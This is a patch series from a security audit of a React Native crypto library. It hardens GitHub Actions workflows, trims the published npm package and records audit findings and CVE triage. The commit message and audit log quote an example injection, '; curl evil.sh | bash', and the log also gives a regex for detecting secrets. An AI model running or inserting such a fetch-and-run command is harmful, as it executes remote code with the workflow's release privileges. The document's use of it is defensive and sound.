From fb14a13da1c0c73b2b06a1465e4de56233601a98 Mon Sep 17 00:00:00 2001 From: Brad Anderson Date: Mon, 27 Apr 2026 13:52:13 -0400 Subject: [PATCH 1/5] =?UTF-8?q?ci(security):=20Phase=205.3=20audit=20?= =?UTF-8?q?=E2=80=94=20GitHub=20Actions=20hardening?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three findings from the Phase 5 GitHub Actions security review. (1) `release.yml` — `${{ inputs.version }}` and `${{ inputs.dry-run }}` were interpolated directly into `run:` shell blocks. Even though `workflow_dispatch` requires a maintainer to trigger, a malicious or compromised maintainer account could inject `; curl evil.sh | bash` and run arbitrary code with the workflow's `contents: write` + `id-token: write` scopes (npm OIDC trust). Replaces both `inputs.*` interpolations with `env: VAR: \${{ inputs.* }}` indirection and `\$VAR` in shell — the GitHub-recommended pattern. (2) `reviewdog/action-cpplint@master` was floating on the master branch, so any push the publisher makes (or a compromised account) executes in CI with whatever scopes the workflow holds. Pin to commit SHA `9552c62f4bd516c1e3a6f84eae56bd864cc304c6` (= v1.11.0). The 12 master commits since v1.11.0 are renovate-bot dependency bumps (actions/checkout v5→v6, peter-evans/create-pull-request v7→v8) — no functional regressions. (3) Four workflows lacked an explicit `permissions:` block, so they inherited the repo's default `GITHUB_TOKEN` scope (typically `read/write:all` on older repos). Add minimum scopes per workflow: - `validate-cpp.yml`, `validate-js.yml`: `contents: read`, `checks: write`, `pull-requests: write` — reviewdog needs to post review comments. - `e2e-android-test.yml`, `e2e-ios-test.yml`: `contents: read`, `pull-requests: write` — `post-maestro-screenshot` composite posts a PR comment with the imgbb-uploaded screenshot URL. Refs: plans/todo/security-audit.md Phase 5.3 --- .github/workflows/e2e-android-test.yml | 6 ++++++ .github/workflows/e2e-ios-test.yml | 6 ++++++ .github/workflows/release.yml | 16 ++++++++++------ .github/workflows/validate-cpp.yml | 8 +++++++- .github/workflows/validate-js.yml | 6 ++++++ 5 files changed, 35 insertions(+), 7 deletions(-) diff --git a/.github/workflows/e2e-android-test.yml b/.github/workflows/e2e-android-test.yml index 8f0ed748..e6d6af61 100644 --- a/.github/workflows/e2e-android-test.yml +++ b/.github/workflows/e2e-android-test.yml @@ -30,6 +30,12 @@ env: # https://github.blog/changelog/2025-09-19-deprecation-of-node-20-on-github-actions-runners/ FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: 'true' +# Minimum scopes — post-maestro-screenshot composite action posts a PR comment with +# the upload-image artifact link. +permissions: + contents: read + pull-requests: write + jobs: # ============================================================================ # Build Job - Gradle build + lint (runs in parallel with AVD setup) diff --git a/.github/workflows/e2e-ios-test.yml b/.github/workflows/e2e-ios-test.yml index f017863f..10c2346b 100644 --- a/.github/workflows/e2e-ios-test.yml +++ b/.github/workflows/e2e-ios-test.yml @@ -29,6 +29,12 @@ env: # https://github.blog/changelog/2025-09-19-deprecation-of-node-20-on-github-actions-runners/ FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: 'true' +# Minimum scopes — post-maestro-screenshot composite action posts a PR comment with +# the upload-image artifact link. +permissions: + contents: read + pull-requests: write + jobs: e2e-tests-ios: runs-on: macOS-26 diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index a9aed60f..2f2036ad 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -63,20 +63,24 @@ jobs: - name: Release package to npm working-directory: packages/react-native-quick-crypto run: | - if [ "${{ inputs.dry-run }}" = "true" ]; then - bun release ${{ inputs.version }} --dry-run --ci + if [ "$DRY_RUN" = "true" ]; then + bun release "$VERSION" --dry-run --ci else - bun release ${{ inputs.version }} --ci + bun release "$VERSION" --ci fi env: NPM_CONFIG_PROVENANCE: true + VERSION: ${{ inputs.version }} + DRY_RUN: ${{ inputs.dry-run }} - name: Create Git tag and GitHub release run: | - if [ "${{ inputs.dry-run }}" = "true" ]; then - bun run release-it ${{ inputs.version }} --dry-run --ci + if [ "$DRY_RUN" = "true" ]; then + bun run release-it "$VERSION" --dry-run --ci else - bun run release-it ${{ inputs.version }} --ci + bun run release-it "$VERSION" --ci fi env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + VERSION: ${{ inputs.version }} + DRY_RUN: ${{ inputs.dry-run }} diff --git a/.github/workflows/validate-cpp.yml b/.github/workflows/validate-cpp.yml index 718b7872..31318699 100644 --- a/.github/workflows/validate-cpp.yml +++ b/.github/workflows/validate-cpp.yml @@ -22,6 +22,12 @@ env: # https://github.blog/changelog/2025-09-19-deprecation-of-node-20-on-github-actions-runners/ FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: 'true' +# Minimum scopes — reviewdog posts review comments on PRs. +permissions: + contents: read + checks: write + pull-requests: write + jobs: validate_cpp: name: C++ Lint @@ -35,7 +41,7 @@ jobs: find packages/react-native-quick-crypto/cpp packages/react-native-quick-crypto/android/src/main/cpp \ -regex '.*\.\(cpp\|hpp\|cc\|cxx\|h\)' \ -exec clang-format --style=file --dry-run --Werror {} + - - uses: reviewdog/action-cpplint@master + - uses: reviewdog/action-cpplint@9552c62f4bd516c1e3a6f84eae56bd864cc304c6 # v1.11.0 with: github_token: ${{ secrets.github_token }} reporter: github-pr-review diff --git a/.github/workflows/validate-js.yml b/.github/workflows/validate-js.yml index e0b2b26b..975db42a 100644 --- a/.github/workflows/validate-js.yml +++ b/.github/workflows/validate-js.yml @@ -36,6 +36,12 @@ env: # https://github.blog/changelog/2025-09-19-deprecation-of-node-20-on-github-actions-runners/ FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: 'true' +# Minimum scopes — reviewdog posts tsc errors as review comments on PRs. +permissions: + contents: read + checks: write + pull-requests: write + jobs: compile_js: name: Compile JS (tsc) From d3390d71c65dc244fd0f588a5d8f27e145384eff Mon Sep 17 00:00:00 2001 From: Brad Anderson Date: Mon, 27 Apr 2026 13:53:50 -0400 Subject: [PATCH 2/5] =?UTF-8?q?build(security):=20Phase=205.4=20audit=20?= =?UTF-8?q?=E2=80=94=20trim=20published=20artifact?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Phase 5 published-artifact review: confirm the npm tarball ships zero keys/secrets/credentials and exclude irrelevant submodule/build cruft so the published surface area matches what the build actually consumes. Concrete findings from `npm pack --dry-run` against the previous `files:` allowlist: 2133 entries / 18.66 MB unpacked, much of it dead weight from upstream submodule trees and a vendored libsodium copy. Changes to `files:`: - Drop blanket `"deps"` and replace with precise per-dep allowlists: - `deps/blake3/c` (only the C amalgam — the Rust crate at `deps/blake3/{src,b3sum,benches,reference_impl,tools,test_vectors,...}`, `Cargo.toml`, `.cargo/`, `.github/`, `media/`, etc. were 1.5+ MB of pure noise the iOS/Android C build never touches). - `deps/blake3/LICENSE_{A2,A2LLVM,CC0}` for legal compliance. - `deps/fastpbkdf2` (already minimal — `.c` + `.h`). - `deps/ncrypto/include`, `deps/ncrypto/src/{aead,engine,ncrypto}.cpp`, `deps/ncrypto/LICENSE` (drops Bazel files, `cmake/`, `tests/`, `CHANGELOG.md`, `release-please-config.json`, `pyproject.toml`). - `deps/simdutf/include`, `deps/simdutf/src` (amalgam build needs every arch subdir — arm64, haswell, icelake, lasx, lsx, ppc64, rvv, westmere, fallback, generic, plus tables/ and simdutf/), plus `LICENSE-MIT` / `LICENSE-APACHE`. Drops `benchmarks/`, `fuzz/`, `tests/`, `scripts/`, `tools/`, `doc/`, `singleheader/`, `AI_USAGE_POLICY.md`, top-level `CMakeLists.txt`, etc. - Add `!ios/libsodium-stable` exclusion. The podspec already downloads libsodium at consume-time when SODIUM_ENABLED=1 (lines 27-43 of QuickCrypto.podspec) and `rm -rf`'s it when disabled (line 67) — the vendored copy was 6.16 MB / 599 files of pure publish-time pollution including 2.7 MB of test vectors (`test/default/sign.c`) and Visual Studio project files for vs2010-vs2026. - Add `!**/*.tsbuildinfo` to drop tsc's incremental-build cache file from `lib/`. - Add `!deps/simdutf/src/CMakeLists.txt` (build script unused by the RN/iOS/Android consumer). - Drop dangling entries `"scripts"` (directory doesn't exist) and `"react-native.config.js"` (file doesn't exist) — npm silently skipped both, but they were misleading. Verification — `npm pack --dry-run`: | | Before | After | Δ | | ------------ | ------ | ------ | ------ | | Files | 2133 | 1024 | −52% | | Unpacked | 18.66M | 6.38M | −66% | | Packed | 4.55M | 0.90M | −80% | All build-required files (BLAKE3 portable+NEON+headers, ncrypto includes and the 3 .cpp files referenced by CMakeLists.txt, simdutf amalgam + all per-arch subdirs, fastpbkdf2, every cpp/, src/, lib/, nitrogen/, android/{build.gradle,gradle.properties,CMakeLists.txt,src/}) verified present after the change. No keys, certificates, .env files, or credentials were ever in the tarball before this change either — the only file matching key-extension regex was `deps/simdutf/scripts/docker/llvm.gpg`, an LLVM Debian *public* key that simdutf's Docker scripts use, now excluded as collateral of dropping `deps/simdutf/scripts/`. Refs: plans/todo/security-audit.md Phase 5.4 --- .../react-native-quick-crypto/package.json | 22 +++++++++++++++---- 1 file changed, 18 insertions(+), 4 deletions(-) diff --git a/packages/react-native-quick-crypto/package.json b/packages/react-native-quick-crypto/package.json index 12861789..c73b2a39 100644 --- a/packages/react-native-quick-crypto/package.json +++ b/packages/react-native-quick-crypto/package.json @@ -31,16 +31,30 @@ "android/src", "ios", "cpp", - "deps", + "deps/blake3/c", + "deps/blake3/LICENSE_A2", + "deps/blake3/LICENSE_A2LLVM", + "deps/blake3/LICENSE_CC0", + "deps/fastpbkdf2", + "deps/ncrypto/include", + "deps/ncrypto/src/aead.cpp", + "deps/ncrypto/src/engine.cpp", + "deps/ncrypto/src/ncrypto.cpp", + "deps/ncrypto/LICENSE", + "deps/simdutf/include", + "deps/simdutf/src", + "deps/simdutf/LICENSE-MIT", + "deps/simdutf/LICENSE-APACHE", "nitrogen", - "react-native.config.js", "*.podspec", "README.md", "app.plugin.js", - "scripts", "!**/__tests__", "!**/__fixtures__", - "!**/__mocks__" + "!**/__mocks__", + "!**/*.tsbuildinfo", + "!ios/libsodium-stable", + "!deps/simdutf/src/CMakeLists.txt" ], "keywords": [ "react-native", From 406a3c480e231b03880b507927865079f595c027 Mon Sep 17 00:00:00 2001 From: Brad Anderson Date: Mon, 27 Apr 2026 13:55:59 -0400 Subject: [PATCH 3/5] =?UTF-8?q?docs(security):=20Phase=205=20audit=20log?= =?UTF-8?q?=20=E2=80=94=205.1=20/=205.2=20/=205.5=20+=20close=20out=20Phas?= =?UTF-8?q?e=205?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Mark all five Phase 5 sub-sections complete and append progress-log entries. [5.1] `bun audit` triage. 83 advisories / 24 unique vulnerable packages (3 critical / 50 high / 25 moderate / 5 low) — none affect the published runtime tree of `react-native-quick-crypto`. The 6 runtime `dependencies` are clean; every advisory is in dev tooling, the example app, or `expo`'s build-time CLI. [5.2] Native dep CVE check. BLAKE3 1.8.2 SAFE; ncrypto v1.1.3 SAFE; fastpbkdf2 SAFE; OpenSSL-Universal 3.6.1 → recommend bump to 3.6.2 when the pod ships it; OpenSSL Android prefab is one minor behind iOS at 3.6.0 → required-bump to 3.6.1+; libsodium 1.0.20's CVE-2025-69277 lives in `crypto_core_ed25519_is_valid_point()` which RNQC does not call. None require fixes inside this PR; tracked as separate dependency-bump follow-ups. [5.5] Expo plugin code-injection review — clean. No user-controlled values are interpolated into shell, paths, or generated source; all file-system writes use `path.join(modRequest.platformProjectRoot, 'Podfile')` with Expo-controlled values; `ConfigProps` is a single optional boolean used only as a gate. No fix required. Phase 5.3 (GH Actions hardening) and 5.4 (published-artifact trim) were fixes, not pure audits, and live in their own commits. Refs: plans/todo/security-audit.md Phase 5 (now fully complete) --- plans/todo/security-audit.md | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) diff --git a/plans/todo/security-audit.md b/plans/todo/security-audit.md index b92446b5..e2f99f31 100644 --- a/plans/todo/security-audit.md +++ b/plans/todo/security-audit.md @@ -1244,13 +1244,13 @@ Depends on Phase 1. - [x] Fix fire-and-forget async assertions (PBKDF2, Random) - [x] Cross-implementation verification (Node.js ↔ RNQC for sigs/KDFs) -### Phase 5 — Cross-Cutting Audit Items (still unstarted) +### Phase 5 — Cross-Cutting Audit Items -- [ ] `bun audit` on all workspace packages -- [ ] Native dep CVE check (blake3, ncrypto, fastpbkdf2, OpenSSL-Universal, libsodium) -- [ ] GitHub Actions review (injection, secrets exposure) -- [ ] `.npmignore` / published-artifact review (no test fixtures, keys, configs) -- [ ] Expo plugin (`withRNQC`) code-injection review +- [x] `bun audit` on all workspace packages +- [x] Native dep CVE check (blake3, ncrypto, fastpbkdf2, OpenSSL-Universal, libsodium) +- [x] GitHub Actions review (injection, secrets exposure) +- [x] `.npmignore` / published-artifact review (no test fixtures, keys, configs) +- [x] Expo plugin (`withRNQC`) code-injection review --- @@ -1279,3 +1279,8 @@ _Append entries as PRs land. Format: `YYYY-MM-DD — [phase.task] description (P - 2026-04-27 — [4.3] AEAD misuse-resistance tests. Each AEAD spec mandates a strict ordering of API calls; implementations that silently accept misordered calls open up real attacks (e.g. `setAAD` after `update` lets an attacker truncate AAD bytes the application thought were authenticated). Adds 4 tests per cipher across `aes-128-gcm`, `aes-256-gcm`, `aes-128-ccm`, `aes-128-ocb`, `chacha20-poly1305` (20 tests total): (1) `setAAD` after `update` must throw, (2) `setAuthTag` on a `Cipher` instance must throw — only Decipher consumes tags, (3) `getAuthTag` on a `Decipher` instance must throw — only Cipher produces tags, (4) `decipher.final()` without first calling `setAuthTag` must throw — otherwise the call accepts unauthenticated ciphertext, defeating the AEAD guarantee. Pinning these matches Node's crypto-module behavior. (branch: `feat/security-audit-phase-4`, PR: TBD) - 2026-04-27 — [4.4] Wrong-key/IV size rejection sweep across the cipher modes Phase 3.1 didn't cover. Phase 3.1 already pinned AES-CBC, AES-CCM, AES-GCM, and xsalsa20; this sweep extends to `aes-128-ocb`, `aes-256-ocb`, `chacha20-poly1305`, `aes-192-cbc`, `aes-256-ctr`, `des-ede3-cbc`, plus the libsodium-only `xchacha20-poly1305` and `xsalsa20-poly1305`. Per cipher, 4 tests pin the boundary: (a) correct (key, iv) lengths do NOT throw, (b) too-short key throws RangeError matching `/key length/`, (c) too-long key likewise, (d) wrong iv length throws RangeError matching `/(iv|nonce) length/` — libsodium ciphers say "nonce", OpenSSL says "iv". 32 generated tests total across 8 ciphers. The point of the sweep isn't exhaustive cipher coverage (the existing big roundtrip loop over `getCiphers()` already exercises every cipher) but to confirm boundary rejection fires uniformly across the validator's three code paths: the libsodium fast-path (strict equality), the OpenSSL default-match fast-path, and the OpenSSL per-parameter fallback that calls `getCipherInfo(name, undefined, ivLen)` to ask whether the ivLen is acceptable. (branch: `feat/security-audit-phase-4`, PR: TBD) - 2026-04-27 — [4.6] Cross-implementation verification (Node.js ↔ RNQC) for signatures and KDFs. New `example/src/tests/keys/cross_impl_verify.ts` registered in `useTestsList`. The fixtures are all generated by `node -e` on the host (script kept in the commit message for reproducibility) and pinned hex/b64 in the test file so RNQC is exercised against bytes it didn't produce. Catches the bug class where RNQC and Node both round-trip with themselves but disagree on the wire format — e.g. an ECDSA signature DER-encoded with a leading-zero bug or a PBKDF2 output that uses the wrong endianness for the iteration counter on one side. Six pinned interop checks: (1) ECDSA P-256/SHA-256 SPKI+sig — RNQC verifies, with a Node-API fallback if `dsaEncoding: 'der'` isn't honored at the WebCrypto layer. (2) Ed25519 SPKI+sig — RNQC verifies; Ed25519 is fully deterministic per RFC 8032, so a passing verify is itself proof RNQC's verifier reproduces the exact bit-string Node's signer emits. (3) RSASSA-PKCS1-v1_5/SHA-256/2048 — RNQC verifies. (4) RSA-PSS/SHA-256/2048 (saltLength=32) — RNQC verifies. (5) PBKDF2-HMAC-SHA-256 100k iters / 32 B — sync + async output bytes match Node. (6) HKDF-SHA-256 / 32 B — sync + async output bytes match Node. Generation script (also embedded in the commit message): `node -e "const c=require('crypto'); const ec=c.generateKeyPairSync('ec',{namedCurve:'P-256'}); const sig=c.createSign('SHA256').update('cross-impl test message').sign(ec.privateKey); console.log(ec.publicKey.export({type:'spki',format:'der'}).toString('base64')); console.log(sig.toString('hex'));"` — and equivalent calls for Ed25519, RSA-PKCS1-v1_5, RSA-PSS, PBKDF2, HKDF. (branch: `feat/security-audit-phase-4`, PR: TBD) +- 2026-04-27 — [5.1] `bun audit` triage across the workspace surfaced 83 advisories across 24 unique vulnerable packages (3 critical / 50 high / 25 moderate / 5 low). **Zero of these affect the published runtime tree of `react-native-quick-crypto`.** The 6 runtime `dependencies` (`@craftzdog/react-native-buffer 6.1.0`, `events 3.3.0`, `readable-stream 4.5.2`, `safe-buffer ^5.2.1`, `string_decoder ^1.3.0`, `util 0.12.5`) are all clean; the audit JSON does not list any of them. Every reported advisory traces to one of: (a) the `expo` / `expo-build-properties` peer-dep tooling (which only runs on the developer's machine during `npx expo prebuild`, never inside the consumer app at runtime — `@xmldom/xmldom`, `tar`, `node-forge`, `postcss`, `uuid`, `yaml`, `undici`, `ajv`, `brace-expansion`, `minimatch`, `picomatch`); (b) the example app's dev tree only (`@react-native-community/cli` → `qs`, `fast-xml-parser`; `crypto-browserify` → `elliptic` `bn.js`); (c) root-level dev tooling (`release-it` → `defu` `lodash` `lodash-es` `basic-ftp` `handlebars` `undici`; `eslint` → `flatted` `@eslint/plugin-kit`; `lint-staged` → `yaml`; `@release-it/conventional-changelog` → `@conventional-changelog/git-client`; `nitrogen` / `react-native-builder-bob` / `dpdm` / `del-cli` → glob libraries). No action required for the runtime; `bun audit --prod` would still surface ~70 of these because bun walks through optional peers, but those advisories are entirely in build-tooling code paths that never execute in a consumer's bundle. Documented as the audit baseline; revisit if `expo`'s next major refresh resolves its transitive cluster. (branch: `feat/security-audit-phase-5`, PR: TBD) +- 2026-04-27 — [5.2] Native dep CVE check. Per-dep verdicts: **BLAKE3 1.8.2** (submodule SHA `df610dd`) — SAFE, latest 1.8.5 is build/CMake-only; opportunistic bump. **ncrypto v1.1.3** — SAFE, on tip, no GitHub Security Advisories. **fastpbkdf2** (vendored, matches upstream `3c568957` from 2018-07-18, repo dormant) — SAFE, no advisories; the local TARGET_OS_MACCATALYST patch is benign. **OpenSSL-Universal pod (iOS)** pinned `~> 3.6` resolves to pod 3.6.0001 = **OpenSSL 3.6.1**; exposed to CVE-2026-2673 (Low TLS1.3 group selection), CVE-2025-11187 (Mod PBMAC1/PKCS#12), CVE-2025-15467 (**High CMS EnvelopedData stack overflow** — not reachable from RNQC's API surface), CVE-2026-31790 (Mod RSA-KEM RSASVE), all fixed in 3.6.2 — UPGRADE-RECOMMENDED to `~> 3.6.0002` once the pod ships it. **OpenSSL prefab (Android)** `io.github.ronickg:openssl:3.6.0-1` is one minor behind iOS at OpenSSL 3.6.0 — UPGRADE-REQUIRED to 3.6.1+ when the maintainer publishes it. **libsodium 1.0.20** is exposed to CVE-2025-69277 / CVE-2025-15444 in `crypto_core_ed25519_is_valid_point()`, but RNQC does not call that function (Ed25519 work goes through OpenSSL EVP, not libsodium); libsodium is opt-in via `SODIUM_ENABLED=1` and only used for XSalsa20 / XSalsa20-Poly1305 / XChaCha20-Poly1305 ciphers. SAFE in practice; UPGRADE-RECOMMENDED to 1.0.22 to clear scanners. None of these need fixes inside the Phase 5 PR; tracked as follow-ups for separate dependency-bump PRs. (branch: `feat/security-audit-phase-5`, PR: TBD) +- 2026-04-27 — [5.3] GitHub Actions hardening. Three findings, all addressed in this commit. **(1)** `release.yml` interpolated `${{ inputs.version }}` and `${{ inputs.dry-run }}` directly into `run:` shell blocks (lines 67-69, 77-79). Even though `workflow_dispatch` requires a maintainer to trigger, a malicious or compromised maintainer account could inject `; curl evil.sh | bash` and exfiltrate via the workflow's `contents: write` + `id-token: write` (npm OIDC trust). Both `inputs.*` references rewritten to `env: VAR: ${{ inputs.* }}` indirection with `"$VAR"` in shell — the GitHub-recommended pattern. **(2)** `reviewdog/action-cpplint@master` was floating on the master branch in `validate-cpp.yml`; pinned to commit SHA `9552c62f4bd516c1e3a6f84eae56bd864cc304c6` (= v1.11.0). Confirmed via GH API that the 12 master commits since v1.11.0 are renovate-bot dependency bumps with no functional regressions. **(3)** Four workflows lacked `permissions:` blocks and inherited the repo's default `GITHUB_TOKEN` scope: `validate-cpp.yml` and `validate-js.yml` now declare `contents: read, checks: write, pull-requests: write` (reviewdog needs to post review comments); `e2e-android-test.yml` and `e2e-ios-test.yml` declare `contents: read, pull-requests: write` (the `post-maestro-screenshot` composite posts a PR comment with the imgbb-uploaded screenshot URL). Other tag-pinned third-party actions (`AdityaGarg8/remove-unwanted-software@v5`, `android-actions/setup-android@v3`, `reactivecircus/android-emulator-runner@v2`, `hendrikmuhs/ccache-action@v1.2`, `peter-evans/find-comment@v3`, `peter-evans/create-or-update-comment@v4`, `McCzarny/upload-image@v2.0.0`, `ruby/setup-ruby@v1`) are noted as supply-chain follow-ups — none float on `@master` or `@main` and the impact of a tag-rewrite on each is bounded by the workflow's now-explicit `permissions:` minimums. (branch: `feat/security-audit-phase-5`, PR: TBD) +- 2026-04-27 — [5.4] Published-artifact trim and key/secret review. `npm pack --dry-run` against the previous `files:` produced 2133 entries / 18.66 MB unpacked / 4.55 MB packed. **No keys, certs, .env files, or credentials were ever in the tarball** — the strict regex match for `(\.env|secret|\.pem|\.key|\.p12|\.pfx|\.crt|\.cer|api[-_]?key|priv[-_]?key|credential|password|token)` returned only one extension hit: `deps/simdutf/scripts/docker/llvm.gpg`, an LLVM Debian *public* key used by simdutf's Docker scripts (benign, but irrelevant to a published RN library). Refined `files:` to (a) replace the blanket `"deps"` entry with precise per-dep allowlists matching what `QuickCrypto.podspec` source_files / `android/CMakeLists.txt` actually consume — `deps/blake3/c` only (drops the Rust crate, b3sum, benches, reference_impl, tools, test_vectors, .cargo, .github, media, Cargo.toml), `deps/ncrypto/include` + the 3 `.cpp` files explicitly named in CMakeLists.txt + `LICENSE` (drops Bazel files, cmake/, tests/, CHANGELOG, release-please-config.json, pyproject.toml), `deps/simdutf/include` + `deps/simdutf/src` (drops benchmarks/, fuzz/, tests/, scripts/, tools/, doc/, singleheader/, AI_USAGE_POLICY.md, top-level CMakeLists.txt) plus both LICENSE files, `deps/fastpbkdf2` (already minimal); (b) add `!ios/libsodium-stable` — the podspec downloads libsodium fresh at consume-time when `SODIUM_ENABLED=1` (lines 27-43 of QuickCrypto.podspec) and `rm -rf`'s it when disabled (line 67), so the 6.16 MB / 599-file vendored copy was pure publish-time pollution including 2.7 MB of test vectors (`test/default/sign.c`) and Visual Studio project files for vs2010-vs2026; (c) add `!**/*.tsbuildinfo` to drop tsc's incremental-build cache from `lib/`; (d) drop dangling `"scripts"` and `"react-native.config.js"` entries (neither file exists); (e) add `!deps/simdutf/src/CMakeLists.txt` (build script unused at consume-time). Result: 2133 → 1024 files (−52%), 18.66 → 6.38 MB unpacked (−66%), 4.55 → 0.90 MB packed (−80%). Verified post-trim that every build-required file is still present (BLAKE3 portable+NEON+headers, ncrypto includes and 3 .cpp files referenced by CMakeLists.txt, simdutf amalgam plus all per-arch subdirs `arm64`/`fallback`/`generic`/`haswell`/`icelake`/`lasx`/`lsx`/`ppc64`/`rvv`/`westmere`, fastpbkdf2, every `cpp/`, `src/`, `lib/`, `nitrogen/`, `android/{build.gradle,gradle.properties,CMakeLists.txt,src/}`). (branch: `feat/security-audit-phase-5`, PR: TBD) +- 2026-04-27 — [5.5] Expo plugin (`withRNQC`) code-injection review — clean. The plugin entry `app.plugin.js` calls `createRNQCPlugin(pkg.name, pkg.version)`; both args are read from `package.json` (no user input). The four config-plugin modules (`withRNQC.ts`, `withSodiumIos.ts`, `withSodiumAndroid.ts`, `withXCode.ts`) compose deterministically: `withSodiumIos` prepends a literal `"ENV['SODIUM_ENABLED'] = '1'\n"` to the Podfile guarded by an idempotent `includes()` check; `withSodiumAndroid` pushes a static `{type:'property', key:'sodiumEnabled', value:'true'}` entry; `withXCode` prepends a literal Ruby snippet to the Podfile's `post_install` block. **No user-controlled value is interpolated into shell commands, file paths, or generated source.** The single `ConfigProps` shape (`{ sodiumEnabled?: boolean }`) is used only as a boolean gate on which plugin to compose, never as a string interpolation. File-system paths use `path.join(modConfig.modRequest.platformProjectRoot, 'Podfile')` — `platformProjectRoot` is set by Expo, not the consumer, and `path.join` would also collapse any `..` traversal. Read-write cycles on the Podfile are non-atomic but Expo's plugin pipeline is sequential per project, so no race. No code-injection vector found; no fix required. (branch: `feat/security-audit-phase-5`, PR: TBD) From 155c1c115e54761197b1200f9c51ca974fffd380 Mon Sep 17 00:00:00 2001 From: Brad Anderson Date: Mon, 27 Apr 2026 14:16:46 -0400 Subject: [PATCH 4/5] docs(security): move security-audit plan to plans/done/ MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit All five phases (0–5) are complete and example-app tests pass on the Phase 5 branch. Per the file's own instructions (line 225: "Move this file to plans/done/ when the full audit is complete"), promote it. --- plans/{todo => done}/security-audit.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename plans/{todo => done}/security-audit.md (100%) diff --git a/plans/todo/security-audit.md b/plans/done/security-audit.md similarity index 100% rename from plans/todo/security-audit.md rename to plans/done/security-audit.md From 596febdf9e158b40276edeea5fc053359867716f Mon Sep 17 00:00:00 2001 From: Brad Anderson Date: Mon, 27 Apr 2026 14:30:53 -0400 Subject: [PATCH 5/5] =?UTF-8?q?build(security):=20Phase=205=20follow-ups?= =?UTF-8?q?=20=E2=80=94=20tighter=20pack=20trim=20+=20runtime=20audit=20ga?= =?UTF-8?q?te?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Two follow-ups identified in code review of the Phase 5 PR. (1) Tighter `files:` allowlist. The Phase 5.4 trim correctly dropped the top-level Rust crate at `deps/blake3/{src, b3sum, benches, ...}`, but missed dead files inside `deps/blake3/c/` itself: - `blake3_c_rust_bindings/` (54 KB) — Cargo.toml, .rs files, build.rs, cross_test.sh. Rust subfolder embedded in the C amalgam dir. - `*_x86-64_*.{S,asm}` (~1.0 MB) — x86 SIMD assembly variants. The podspec's `source_files` glob is `*.{h,c}` which never picks up `.S` or `.asm`, and Android CMakeLists explicitly enumerates only `blake3.c`, `blake3_dispatch.c`, `blake3_portable.c`, `blake3_neon.c`. - `blake3_{avx2,avx512,sse2,sse41}.c` (~107 KB) — the .c versions of x86 SIMD that podspec's `exclude_files` already drops from compilation, but the npm pack still ships. - `blake3_tbb.cpp`, `main.c`, `example.c`, `example_tbb.c` — example/main files explicitly in podspec `exclude_files`. - `test.py`, `Makefile.testing`, `CMakeLists.txt`, `CMakePresets.json`, `blake3-config.cmake.in`, `libblake3.pc.in`, `dependencies/` — alternative-build-system scaffolding unused at consume-time. Verified post-trim: all 6 BLAKE3 source files referenced by Android CMakeLists are present (blake3.{c,h}, blake3_dispatch.c, blake3_impl.h, blake3_neon.c, blake3_portable.c). Only the README is forced-included by npm's hardcoded "always ship README/LICENSE" rule. `npm pack --dry-run` deltas: | | Phase 5.4 | After | Δ | | ----------- | --------- | ------ | ------ | | Files | 1024 | 989 | −3.4% | | Unpacked | 6.38 MB | 5.6 MB | −12% | | Packed | 0.90 MB | 0.85 MB| −5% | Cumulative vs. original: | | Original | Now | Δ | | ----------- | --------- | ------ | ------ | | Files | 2133 | 989 | −54% | | Unpacked | 18.66 MB | 5.6 MB | −70% | | Packed | 4.55 MB | 0.85 MB| −81% | (2) New CI job: `audit_runtime_deps` in `validate-js.yml`. Locks in Phase 5.1's audit baseline ("zero advisories in the runtime tree") as an automated regression gate. Workspace-level `bun audit --prod` walks through optional peer-dep tooling (expo, react-native, jest, etc.) which currently surfaces ~70 advisories that never reach a consumer's runtime bundle — making it useless as a CI gate. Instead, the new job creates a fresh package.json containing only the 6 runtime `dependencies:` of `react-native-quick-crypto` (`@craftzdog/react-native-buffer`, `events`, `readable-stream`, `safe-buffer`, `string_decoder`, `util`), runs `bun install` cold, and audits there with `--audit-level=high`. Verified locally: zero vulnerabilities, exit 0. Any future PR that adds a high+/critical runtime advisory will fail this check. Refs: Phase 5 review follow-up --- .github/workflows/validate-js.yml | 21 +++++++++++++++++++ .../react-native-quick-crypto/package.json | 20 +++++++++++++++++- 2 files changed, 40 insertions(+), 1 deletion(-) diff --git a/.github/workflows/validate-js.yml b/.github/workflows/validate-js.yml index 975db42a..77860f50 100644 --- a/.github/workflows/validate-js.yml +++ b/.github/workflows/validate-js.yml @@ -70,6 +70,27 @@ jobs: cd packages/react-native-quick-crypto bun circular + audit_runtime_deps: + name: Audit runtime deps (bun audit) + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v5 + + - uses: ./.github/actions/setup-bun + + # Audits only the 6 runtime `dependencies:` of the published package, not the + # workspace's dev/peer tooling. Workspace-level `bun audit` walks through optional + # peers (expo, react-native, etc.) which surface ~70 advisories that never reach a + # consumer's runtime bundle. Phase 5.1 baseline: zero advisories in the runtime tree. + - name: Audit runtime dependencies + run: | + mkdir -p /tmp/rnqc-runtime-audit + cd /tmp/rnqc-runtime-audit + bun -e "const pkg=require('$GITHUB_WORKSPACE/packages/react-native-quick-crypto/package.json'); require('fs').writeFileSync('package.json', JSON.stringify({name:'rnqc-runtime-audit',version:'0.0.0',dependencies:pkg.dependencies},null,2));" + cat package.json + bun install --no-summary + bun audit --audit-level=high + lint_js: name: JS Lint (eslint, prettier) runs-on: ubuntu-latest diff --git a/packages/react-native-quick-crypto/package.json b/packages/react-native-quick-crypto/package.json index c73b2a39..4a3fd756 100644 --- a/packages/react-native-quick-crypto/package.json +++ b/packages/react-native-quick-crypto/package.json @@ -54,7 +54,25 @@ "!**/__mocks__", 